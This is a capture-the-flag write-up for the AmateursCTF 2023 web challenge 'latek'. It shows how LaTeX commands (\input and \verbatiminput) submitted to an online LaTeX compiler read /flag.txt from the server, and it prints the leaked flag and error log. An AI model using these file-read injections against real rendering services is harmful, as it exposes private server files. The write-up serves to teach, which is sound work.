Post

AmateursCTF 2023 - latek

Description

Category: web

bryanguo (not associated with the ctf), keeps saying it’s pronouced latek not latex like the glove material. anyways i made this simple app so he stops paying for overleaf.

Note: flag is ONLY at /flag.txt

Link : latek.amt.rs

Resolution

We have a online latex interpreter.

The first idea was to use \input{/flag.txt} or \include{/flag.txt} to display the flag.

Maybe flag.txt wasn’t a valid file to be included because it triggered an error and displayed a part of the flag in the console:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
LaTeX Font Info:    ... okay on input line 2.
(/flag.txt
! Missing $ inserted.
<inserted text> 
                $
l.1 amateursCTF{th3_
                    l0w_budg3t_and_n0_1nstanc3ing_caus3d_us_t0_n0t_all0w_rc3...

? 
! Emergency stop.
<inserted text> 
                $
l.1 amateursCTF{th3_
                    l0w_budg3t_and_n0_1nstanc3ing_caus3d_us_t0_n0t_all0w_rc3...
End of file on the terminal!

There is a simple way to include text file into LaTex document:

1
2
\usepackage{verbatim}
\verbatiminput{/flag.txt}

And this time we get the entire flag: amateursCTF{th3_l0w_budg3t_and_n0_1nstanc3ing_caus3d_us_t0_n0t_all0w_rc3_sadly}

This post is licensed under CC BY 4.0 by the author.